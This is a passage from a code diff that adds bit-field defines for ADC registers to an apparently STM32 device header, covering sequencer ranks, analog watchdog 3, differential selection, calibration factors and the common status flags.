ADC_CHSELR_CHSEL23_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL23 ADC_CHSELR_CHSEL23_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ + +#define ADC_CHSELR_SQ_ALL_Pos (0UL) +#define ADC_CHSELR_SQ_ALL_Msk (0xFFFFFFFFUL << ADC_CHSELR_SQ_ALL_Pos) /*!< 0xFFFFFFFF */ +#define ADC_CHSELR_SQ_ALL ADC_CHSELR_SQ_ALL_Msk /*!< ADC group regular sequencer all ranks, available when ADC_CFGR1_CHSELRMOD is set */ + +#define ADC_CHSELR_SQ1_Pos (0UL) +#define ADC_CHSELR_SQ1_Msk (0xFUL << ADC_CHSELR_SQ1_Pos) /*!< 0x0000000F */ +#define ADC_CHSELR_SQ1 ADC_CHSELR_SQ1_Msk /*!< ADC group regular sequencer rank 1, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ1_0 (0x1UL << ADC_CHSELR_SQ1_Pos) /*!< 0x00000001 */ +#define ADC_CHSELR_SQ1_1 (0x2UL << ADC_CHSELR_SQ1_Pos) /*!< 0x00000002 */ +#define ADC_CHSELR_SQ1_2 (0x4UL << ADC_CHSELR_SQ1_Pos) /*!< 0x00000004 */ +#define ADC_CHSELR_SQ1_3 (0x8UL << ADC_CHSELR_SQ1_Pos) /*!< 0x00000008 */ + +#define ADC_CHSELR_SQ2_Pos (4UL) +#define ADC_CHSELR_SQ2_Msk (0xFUL << ADC_CHSELR_SQ2_Pos) /*!< 0x000000F0 */ +#define ADC_CHSELR_SQ2 ADC_CHSELR_SQ2_Msk /*!< ADC group regular sequencer rank 2, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ2_0 (0x1UL << ADC_CHSELR_SQ2_Pos) /*!< 0x00000010 */ +#define ADC_CHSELR_SQ2_1 (0x2UL << ADC_CHSELR_SQ2_Pos) /*!< 0x00000020 */ +#define ADC_CHSELR_SQ2_2 (0x4UL << ADC_CHSELR_SQ2_Pos) /*!< 0x00000040 */ +#define ADC_CHSELR_SQ2_3 (0x8UL << ADC_CHSELR_SQ2_Pos) /*!< 0x00000080 */ + +#define ADC_CHSELR_SQ3_Pos (8UL) +#define ADC_CHSELR_SQ3_Msk (0xFUL << ADC_CHSELR_SQ3_Pos) /*!< 0x00000F00 */ +#define ADC_CHSELR_SQ3 ADC_CHSELR_SQ3_Msk /*!< ADC group regular sequencer rank 3, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ3_0 (0x1UL << ADC_CHSELR_SQ3_Pos) /*!< 0x00000100 */ +#define ADC_CHSELR_SQ3_1 (0x2UL << ADC_CHSELR_SQ3_Pos) /*!< 0x00000200 */ +#define ADC_CHSELR_SQ3_2 (0x4UL << ADC_CHSELR_SQ3_Pos) /*!< 0x00000400 */ +#define ADC_CHSELR_SQ3_3 (0x8UL << ADC_CHSELR_SQ3_Pos) /*!< 0x00000800 */ + +#define ADC_CHSELR_SQ4_Pos (12UL) +#define ADC_CHSELR_SQ4_Msk (0xFUL << ADC_CHSELR_SQ4_Pos) /*!< 0x0000F000 */ +#define ADC_CHSELR_SQ4 ADC_CHSELR_SQ4_Msk /*!< ADC group regular sequencer rank 4, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ4_0 (0x1UL << ADC_CHSELR_SQ4_Pos) /*!< 0x00001000 */ +#define ADC_CHSELR_SQ4_1 (0x2UL << ADC_CHSELR_SQ4_Pos) /*!< 0x00002000 */ +#define ADC_CHSELR_SQ4_2 (0x4UL << ADC_CHSELR_SQ4_Pos) /*!< 0x00004000 */ +#define ADC_CHSELR_SQ4_3 (0x8UL << ADC_CHSELR_SQ4_Pos) /*!< 0x00008000 */ + +#define ADC_CHSELR_SQ5_Pos (16UL) +#define ADC_CHSELR_SQ5_Msk (0xFUL << ADC_CHSELR_SQ5_Pos) /*!< 0x000F0000 */ +#define ADC_CHSELR_SQ5 ADC_CHSELR_SQ5_Msk /*!< ADC group regular sequencer rank 5, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ5_0 (0x1UL << ADC_CHSELR_SQ5_Pos) /*!< 0x00010000 */ +#define ADC_CHSELR_SQ5_1 (0x2UL << ADC_CHSELR_SQ5_Pos) /*!< 0x00020000 */ +#define ADC_CHSELR_SQ5_2 (0x4UL << ADC_CHSELR_SQ5_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_SQ5_3 (0x8UL << ADC_CHSELR_SQ5_Pos) /*!< 0x00080000 */ + +#define ADC_CHSELR_SQ6_Pos (20UL) +#define ADC_CHSELR_SQ6_Msk (0xFUL << ADC_CHSELR_SQ6_Pos) /*!< 0x00F00000 */ +#define ADC_CHSELR_SQ6 ADC_CHSELR_SQ6_Msk /*!< ADC group regular sequencer rank 6, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ6_0 (0x1UL << ADC_CHSELR_SQ6_Pos) /*!< 0x00100000 */ +#define ADC_CHSELR_SQ6_1 (0x2UL << ADC_CHSELR_SQ6_Pos) /*!< 0x00200000 */ +#define ADC_CHSELR_SQ6_2 (0x4UL << ADC_CHSELR_SQ6_Pos) /*!< 0x00400000 */ +#define ADC_CHSELR_SQ6_3 (0x8UL << ADC_CHSELR_SQ6_Pos) /*!< 0x00800000 */ + +#define ADC_CHSELR_SQ7_Pos (24UL) +#define ADC_CHSELR_SQ7_Msk (0xFUL << ADC_CHSELR_SQ7_Pos) /*!< 0x0F000000 */ +#define ADC_CHSELR_SQ7 ADC_CHSELR_SQ7_Msk /*!< ADC group regular sequencer rank 7, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ7_0 (0x1UL << ADC_CHSELR_SQ7_Pos) /*!< 0x01000000 */ +#define ADC_CHSELR_SQ7_1 (0x2UL << ADC_CHSELR_SQ7_Pos) /*!< 0x02000000 */ +#define ADC_CHSELR_SQ7_2 (0x4UL << ADC_CHSELR_SQ7_Pos) /*!< 0x04000000 */ +#define ADC_CHSELR_SQ7_3 (0x8UL << ADC_CHSELR_SQ7_Pos) /*!< 0x08000000 */ + +#define ADC_CHSELR_SQ8_Pos (28UL) +#define ADC_CHSELR_SQ8_Msk (0xFUL << ADC_CHSELR_SQ8_Pos) /*!< 0xF0000000 */ +#define ADC_CHSELR_SQ8 ADC_CHSELR_SQ8_Msk /*!< ADC group regular sequencer rank 8, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ8_0 (0x1UL << ADC_CHSELR_SQ8_Pos) /*!< 0x10000000 */ +#define ADC_CHSELR_SQ8_1 (0x2UL << ADC_CHSELR_SQ8_Pos) /*!< 0x20000000 */ +#define ADC_CHSELR_SQ8_2 (0x4UL << ADC_CHSELR_SQ8_Pos) /*!< 0x40000000 */ +#define ADC_CHSELR_SQ8_3 (0x8UL << ADC_CHSELR_SQ8_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_AWD3TR register *******************/ +#define ADC_AWD3TR_LT3_Pos (0UL) +#define ADC_AWD3TR_LT3_Msk (0xFFFUL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000FFF */ +#define ADC_AWD3TR_LT3 ADC_AWD3TR_LT3_Msk /*!< ADC analog watchdog 3 threshold low */ +#define ADC_AWD3TR_LT3_0 (0x001UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000001 */ +#define ADC_AWD3TR_LT3_1 (0x002UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000002 */ +#define ADC_AWD3TR_LT3_2 (0x004UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000004 */ +#define ADC_AWD3TR_LT3_3 (0x008UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000008 */ +#define ADC_AWD3TR_LT3_4 (0x010UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000010 */ +#define ADC_AWD3TR_LT3_5 (0x020UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000020 */ +#define ADC_AWD3TR_LT3_6 (0x040UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000040 */ +#define ADC_AWD3TR_LT3_7 (0x080UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000080 */ +#define ADC_AWD3TR_LT3_8 (0x100UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000100 */ +#define ADC_AWD3TR_LT3_9 (0x200UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000200 */ +#define ADC_AWD3TR_LT3_10 (0x400UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000400 */ +#define ADC_AWD3TR_LT3_11 (0x800UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000800 */ + +#define ADC_AWD3TR_HT3_Pos (16UL) +#define ADC_AWD3TR_HT3_Msk (0xFFFUL << ADC_AWD3TR_HT3_Pos) /*!< 0x0FFF0000 */ +#define ADC_AWD3TR_HT3 ADC_AWD3TR_HT3_Msk /*!< ADC analog watchdog 3 threshold high */ +#define ADC_AWD3TR_HT3_0 (0x001UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00010000 */ +#define ADC_AWD3TR_HT3_1 (0x002UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00020000 */ +#define ADC_AWD3TR_HT3_2 (0x004UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00040000 */ +#define ADC_AWD3TR_HT3_3 (0x008UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00080000 */ +#define ADC_AWD3TR_HT3_4 (0x010UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00100000 */ +#define ADC_AWD3TR_HT3_5 (0x020UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00200000 */ +#define ADC_AWD3TR_HT3_6 (0x040UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00400000 */ +#define ADC_AWD3TR_HT3_7 (0x080UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00800000 */ +#define ADC_AWD3TR_HT3_8 (0x100UL << ADC_AWD3TR_HT3_Pos) /*!< 0x01000000 */ +#define ADC_AWD3TR_HT3_9 (0x200UL << ADC_AWD3TR_HT3_Pos) /*!< 0x02000000 */ +#define ADC_AWD3TR_HT3_10 (0x400UL << ADC_AWD3TR_HT3_Pos) /*!< 0x04000000 */ +#define ADC_AWD3TR_HT3_11 (0x800UL << ADC_AWD3TR_HT3_Pos) /*!< 0x08000000 */ + +/******************** Bit definition for ADC_AWD3CR register ********************/ +#define ADC_AWD3CR_AWD3CH_Pos (0UL) +#define ADC_AWD3CR_AWD3CH_Msk (0xFFFFFFUL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00FFFFFF */ +#define ADC_AWD3CR_AWD3CH ADC_AWD3CR_AWD3CH_Msk /*!< ADC Analog watchdog 2 channel selection */ +#define ADC_AWD3CR_AWD3CH_0 (0x00001UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000001 */ +#define ADC_AWD3CR_AWD3CH_1 (0x00002UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000002 */ +#define ADC_AWD3CR_AWD3CH_2 (0x00004UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000004 */ +#define ADC_AWD3CR_AWD3CH_3 (0x00008UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000008 */ +#define ADC_AWD3CR_AWD3CH_4 (0x00010UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000010 */ +#define ADC_AWD3CR_AWD3CH_5 (0x00020UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000020 */ +#define ADC_AWD3CR_AWD3CH_6 (0x00040UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000040 */ +#define ADC_AWD3CR_AWD3CH_7 (0x00080UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000080 */ +#define ADC_AWD3CR_AWD3CH_8 (0x00100UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000100 */ +#define ADC_AWD3CR_AWD3CH_9 (0x00200UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000200 */ +#define ADC_AWD3CR_AWD3CH_10 (0x00400UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000400 */ +#define ADC_AWD3CR_AWD3CH_11 (0x00800UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000800 */ +#define ADC_AWD3CR_AWD3CH_12 (0x01000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00001000 */ +#define ADC_AWD3CR_AWD3CH_13 (0x02000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00002000 */ +#define ADC_AWD3CR_AWD3CH_14 (0x04000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00004000 */ +#define ADC_AWD3CR_AWD3CH_15 (0x08000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00008000 */ +#define ADC_AWD3CR_AWD3CH_16 (0x10000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00010000 */ +#define ADC_AWD3CR_AWD3CH_17 (0x20000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00020000 */ +#define ADC_AWD3CR_AWD3CH_18 (0x40000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00040000 */ +#define ADC_AWD3CR_AWD3CH_19 (0x80000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00080000 */ +#define ADC_AWD3CR_AWD2CH_20 (0x100000UL << ADC_AWD3CR_AWD2CH_Pos) /*!< 0x00100000 */ +#define ADC_AWD3CR_AWD2CH_21 (0x200000UL << ADC_AWD3CR_AWD2CH_Pos) /*!< 0x00200000 */ +#define ADC_AWD3CR_AWD2CH_22 (0x400000UL << ADC_AWD3CR_AWD2CH_Pos) /*!< 0x00400000 */ +#define ADC_AWD3CR_AWD2CH_23 (0x800000UL << ADC_AWD3CR_AWD2CH_Pos) /*!< 0x00800000 */ + +/******************** Bit definition for ADC_DIFSEL register ********************/ +#define ADC_DIFSEL_DIFSEL_Pos (0UL) +#define ADC_DIFSEL_DIFSEL_Msk (0xFFFFFUL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x000FFFFF */ +#define ADC_DIFSEL_DIFSEL ADC_DIFSEL_DIFSEL_Msk /*!< ADC differential modes for channels 1 to 18 */ +#define ADC_DIFSEL_DIFSEL_0 (0x00001UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000001 */ +#define ADC_DIFSEL_DIFSEL_1 (0x00002UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000002 */ +#define ADC_DIFSEL_DIFSEL_2 (0x00004UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000004 */ +#define ADC_DIFSEL_DIFSEL_3 (0x00008UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000008 */ +#define ADC_DIFSEL_DIFSEL_4 (0x00010UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000010 */ +#define ADC_DIFSEL_DIFSEL_5 (0x00020UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000020 */ +#define ADC_DIFSEL_DIFSEL_6 (0x00040UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000040 */ +#define ADC_DIFSEL_DIFSEL_7 (0x00080UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000080 */ +#define ADC_DIFSEL_DIFSEL_8 (0x00100UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000100 */ +#define ADC_DIFSEL_DIFSEL_9 (0x00200UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000200 */ +#define ADC_DIFSEL_DIFSEL_10 (0x00400UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000400 */ +#define ADC_DIFSEL_DIFSEL_11 (0x00800UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000800 */ +#define ADC_DIFSEL_DIFSEL_12 (0x01000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00001000 */ +#define ADC_DIFSEL_DIFSEL_13 (0x02000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00002000 */ +#define ADC_DIFSEL_DIFSEL_14 (0x04000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00004000 */ +#define ADC_DIFSEL_DIFSEL_15 (0x08000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00008000 */ +#define ADC_DIFSEL_DIFSEL_16 (0x10000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00010000 */ +#define ADC_DIFSEL_DIFSEL_17 (0x20000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00020000 */ +#define ADC_DIFSEL_DIFSEL_18 (0x40000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00040000 */ +#define ADC_DIFSEL_DIFSEL_19 (0x80000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00080000 */ + +/******************** Bit definition for ADC_CALFACT register ********************/ +#define ADC_CALFACT_I_APB_ADDR_Pos (0UL) +#define ADC_CALFACT_I_APB_ADDR_Msk (0xFFUL << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x000000FF */ +#define ADC_CALFACT_I_APB_ADDR ADC_CALFACT_I_APB_ADDR_Msk /*!< ADC calibration factors in single-ended mode */ +#define ADC_CALFACT_I_APB_ADDR_0 (0x001U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000001 */ +#define ADC_CALFACT_I_APB_ADDR_1 (0x002U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000002 */ +#define ADC_CALFACT_I_APB_ADDR_2 (0x004U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000004 */ +#define ADC_CALFACT_I_APB_ADDR_3 (0x008U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000008 */ +#define ADC_CALFACT_I_APB_ADDR_4 (0x010U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000010 */ +#define ADC_CALFACT_I_APB_ADDR_5 (0x020U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000020 */ +#define ADC_CALFACT_I_APB_ADDR_6 (0x040U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000040 */ +#define ADC_CALFACT_I_APB_ADDR_7 (0x080U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000080 */ + +#define ADC_CALFACT_I_APB_DATA_Pos (08UL) +#define ADC_CALFACT_I_APB_DATA_Msk (0xFFUL << ADC_CALFACT_I_APB_DATA_Pos) /*!< 0x0000FF00 */ +#define ADC_CALFACT_I_APB_DATA ADC_CALFACT_I_APB_DATA_Msk /*!< ADC calibration factors in differential mode */ +#define ADC_CALFACT_APB_DATA_0 (0x001U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00000100 */ +#define ADC_CALFACT_APB_DATA_1 (0x002U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00000200 */ +#define ADC_CALFACT_APB_DATA_2 (0x004U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00000400 */ +#define ADC_CALFACT_APB_DATA_3 (0x008U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00000800 */ +#define ADC_CALFACT_APB_DATA_4 (0x010U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00001000 */ +#define ADC_CALFACT_APB_DATA_5 (0x020U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00002000 */ +#define ADC_CALFACT_APB_DATA_6 (0x040U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00004000 */ +#define ADC_CALFACT_APB_DATA_7 (0x080U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00008000 */ + +#define ADC_CALFACT_VALIDITY_Pos (16UL) +#define ADC_CALFACT_VALIDITY_Msk (0x1UL << ADC_CALFACT_VALIDITY_Pos) /*!< 0x00010000 */ +#define ADC_CALFACT_VALIDITY ADC_CALFACT_VALIDITY_Msk /*!< ADC calibration factors in differential mode */ +#define ADC_CALFACT_LATCH_COEF_Pos (24UL) +#define ADC_CALFACT_LATCH_COEF_Msk (0x1UL << ADC_CALFACT_LATCH_COEF_Pos) /*!< 0x01000000 */ +#define ADC_CALFACT_LATCH_COEF ADC_CALFACT_LATCH_COEF_Msk /*!< ADC calibration factors in differential mode */ +#define ADC_CALFACT_CAPTURE_COEF_Pos (25UL) +#define ADC_CALFACT_CAPTURE_COEF_Msk (0x1UL << ADC_CALFACT_CAPTURE_COEF_Pos) /*!< 0x01000000 */ +#define ADC_CALFACT_CAPTURE_COEF ADC_CALFACT_CAPTURE_COEF_Msk /*!< ADC calibration factors in differential mode */ + +#define ADC4_CALFACT_CALFACT_Pos (0UL) +#define ADC4_CALFACT_CALFACT_Msk (0x7FUL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x0000007F */ +#define ADC4_CALFACT_CALFACT ADC4_CALFACT_CALFACT_Msk /*!< ADC calibration factor in single-ended mode */ +#define ADC4_CALFACT_CALFACT_0 (0x01UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000001 */ +#define ADC4_CALFACT_CALFACT_1 (0x02UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000002 */ +#define ADC4_CALFACT_CALFACT_2 (0x04UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000004 */ +#define ADC4_CALFACT_CALFACT_3 (0x08UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000008 */ +#define ADC4_CALFACT_CALFACT_4 (0x10UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000010 */ +#define ADC4_CALFACT_CALFACT_5 (0x20UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000020 */ +#define ADC4_CALFACT_CALFACT_6 (0x40UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000040 */ + +/******************** Bit definition for ADC_CALFACT2 register ********************/ +#define ADC_CALFACT2_CALFACT_Pos (0UL) +#define ADC_CALFACT2_CALFACT_Msk (0xFFFFFFFFUL << ADC_CALFACT2_CALFACT_Pos) /*!< 0xFFFFFFFF */ +#define ADC_CALFACT2_CALFACT ADC_CALFACT2_CALFACT_Msk /*!< ADC Linearity calibration factors */ +#define ADC_CALFACT2_CALFACT_0 (0x00000001UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000001 */ +#define ADC_CALFACT2_CALFACT_1 (0x00000002UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000002 */ +#define ADC_CALFACT2_CALFACT_2 (0x00000004UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000004 */ +#define ADC_CALFACT2_CALFACT_3 (0x00000008UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000008 */ +#define ADC_CALFACT2_CALFACT_4 (0x00000010UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000010 */ +#define ADC_CALFACT2_CALFACT_5 (0x00000020UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000020 */ +#define ADC_CALFACT2_CALFACT_6 (0x00000040UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000040 */ +#define ADC_CALFACT2_CALFACT_7 (0x00000080UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000080 */ +#define ADC_CALFACT2_CALFACT_8 (0x00000100UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000100 */ +#define ADC_CALFACT2_CALFACT_9 (0x00000200UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000200 */ +#define ADC_CALFACT2_CALFACT_10 (0x00000400UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000400 */ +#define ADC_CALFACT2_CALFACT_11 (0x00000800UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000800 */ +#define ADC_CALFACT2_CALFACT_12 (0x00001000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00001000 */ +#define ADC_CALFACT2_CALFACT_13 (0x00002000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00002000 */ +#define ADC_CALFACT2_CALFACT_14 (0x00004000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00004000 */ +#define ADC_CALFACT2_CALFACT_15 (0x00008000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00008000 */ +#define ADC_CALFACT2_CALFACT_16 (0x00010000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00010000 */ +#define ADC_CALFACT2_CALFACT_17 (0x00020000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00020000 */ +#define ADC_CALFACT2_CALFACT_18 (0x00040000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00040000 */ +#define ADC_CALFACT2_CALFACT_19 (0x00080000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00080000 */ +#define ADC_CALFACT2_CALFACT_20 (0x00100000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00100000 */ +#define ADC_CALFACT2_CALFACT_21 (0x00200000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00200000 */ +#define ADC_CALFACT2_CALFACT_22 (0x00400000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00400000 */ +#define ADC_CALFACT2_CALFACT_23 (0x00800000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00800000 */ +#define ADC_CALFACT2_CALFACT_24 (0x01000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x01000000 */ +#define ADC_CALFACT2_CALFACT_25 (0x02000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x02000000 */ +#define ADC_CALFACT2_CALFACT_26 (0x04000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x04000000 */ +#define ADC_CALFACT2_CALFACT_27 (0x08000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x08000000 */ +#define ADC_CALFACT2_CALFACT_28 (0x10000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x10000000 */ +#define ADC_CALFACT2_CALFACT_29 (0x20000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x20000000 */ +#define ADC_CALFACT2_CALFACT_30 (0x40000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x40000000 */ +#define ADC_CALFACT2_CALFACT_31 (0x80000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_OR register ********************/ +#define ADC_OR_CHN0SEL_Pos (0UL) +#define ADC_OR_CHN0SEL_Msk (0x1UL << ADC_OR_CHN0SEL_Pos) /*!< 0x00000001 */ +#define ADC_OR_CHN0SEL ADC_OR_CHN0SEL_Msk /*!< ADC Channel 0 selection */ + +/************************* ADC Common registers *****************************/ +/******************** Bit definition for ADC_CSR register ********************/ +#define ADC_CSR_ADRDY_MST_Pos (0UL) +#define ADC_CSR_ADRDY_MST_Msk (0x1UL << ADC_CSR_ADRDY_MST_Pos) /*!< 0x00000001 */ +#define ADC_CSR_ADRDY_MST ADC_CSR_ADRDY_MST_Msk /*!< Master ADC ready */ +#define ADC_CSR_EOSMP_MST_Pos (1UL) +#define ADC_CSR_EOSMP_MST_Msk (0x1UL << ADC_CSR_EOSMP_MST_Pos) /*!< 0x00000002 */ +#define ADC_CSR_EOSMP_MST ADC_CSR_EOSMP_MST_Msk /*!< End of sampling phase flag of the master ADC */ +#define ADC_CSR_EOC_MST_Pos (2UL) +#define ADC_CSR_EOC_MST_Msk (0x1UL << ADC_CSR_EOC_MST_Pos) /*!< 0x00000004 */ +#define ADC_CSR_EOC_MST ADC_CSR_EOC_MST_Msk /*!< End of regular conversion of the master ADC */ +#define ADC_CSR_EOS_MST_Pos (3UL) +#define ADC_CSR_EOS_MST_Msk (0x1UL << ADC_CSR_EOS_MST_Pos) /*!< 0x00000008 */ +#define ADC_CSR_EOS_MST ADC_CSR_EOS_MST_Msk /*!< End of regular sequence flag of the master ADC */ +#define ADC_CSR_OVR_MST_Pos (4UL) +#define ADC_CSR_OVR_MST_Msk (0x1UL << ADC_CSR_OVR_MST_Pos) /*!< 0x00000010 */ +#define ADC_CSR_OVR_MST ADC_CSR_OVR_MST_Msk /*!< Overrun flag of the master ADC */ +#define ADC_CSR_JEOC_MST_Pos (5UL) +#define ADC_CSR_JEOC_MST_Msk (0x1UL << ADC_CSR_JEOC_MST_Pos) /*!< 0x00000020 */ +#define ADC_CSR_JEOC_MST ADC_CSR_JEOC_MST_Msk /*!< End of injected conversion of the master ADC */ +#define ADC_CSR_JEOS_MST_Pos (6UL) +#define ADC_CSR_JEOS_MST_Msk (0x1UL << ADC_CSR_JEOS_MST_Pos) /*!< 0x00000040 */ +#define ADC_CSR_JEOS_MST ADC_CSR_JEOS_MST_Msk /*!< End of injected sequence flag of the master ADC */ +#define ADC_CSR_AWD1_MST_Pos (7UL) +#define ADC_CSR_AWD1_MST_Msk (0x1UL << ADC_CSR_AWD1_MST_Pos) /*!< 0x00000080 */ +#define ADC_CSR_AWD1_MST ADC_CSR_AWD1_MST_Msk /*!< Analog watchdog 1 flag of the master ADC */ +#define ADC_CSR_AWD2_MST_Pos (8UL) +#define ADC_CSR_AWD2_MST_Msk (0x1UL << ADC_CSR_AWD2_MST_Pos) /*!< 0x00000100 */ +#define ADC_CSR_AWD2_MST ADC_CSR_AWD2_MST_Msk /*!< Analog watchdog 2 flag of the master ADC */ +#define ADC_CSR_AWD3_MST_Pos (9UL) +#define ADC_CSR_AWD3_MST_Msk (0x1UL << ADC_CSR_AWD3_MST_Pos) /*!< 0x00000200 */ +#define ADC_CSR_AWD3_MST ADC_CSR_AWD3_MST_Msk /*!< Analog watchdog 3 flag of the master ADC */ +#define ADC_CSR_JQOVF_MST_Pos 